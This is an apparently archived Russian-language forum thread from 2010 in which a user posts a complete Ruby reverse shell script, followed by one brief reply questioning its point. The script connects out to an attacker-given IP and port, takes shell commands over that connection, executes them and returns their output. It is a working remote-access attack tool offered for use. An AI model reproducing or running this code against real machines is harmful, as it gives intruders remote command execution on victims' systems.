PDA

Просмотр полной версии : Ruby Reverse Shell (Multi platform)


MagicCoder
01.06.2010, 02:07
Ruby Reverse Shell (Multi platform)

#!/usr/bin/env ruby
# Ruby Reverse Shell
# MagicC0d3r@gmail.com
# www.magiccoder.ir www.sun-army.org
# License : GNU General Public License (GPL)
#Usage : ruby reverse.rb <ip> <port>
#Example: ruby reverse.rb 127.0.0.1 1370


require 'net/telnet'

if (ARGV[1] == nil)
puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder. ir\twww.sun-army.org\n"
puts "\nUsage\t: ruby reverse.rb <ip> <port>\nExample\t: ruby reverse.rb 127.0.0.1 1370\n\n"
else
server = Net::Telnet::new('Host'=>ARGV[0],'Port'=>ARGV[1].to_i,'Timeout'=>300)
server.puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder. ir\twww.sun-army.org\n"
puts "Connected to #{ARGV[0]}:#{ARGV[1].to_i}"
loop do
server.print "sh$ "
command = server.gets
break if command.chomp == "exit"
server.print `#{command.to_s}`
end
puts "Disconnected"
end

lukmus
02.06.2010, 01:56
телнет-клиент это конечно круто, но что ты этим хотел сказать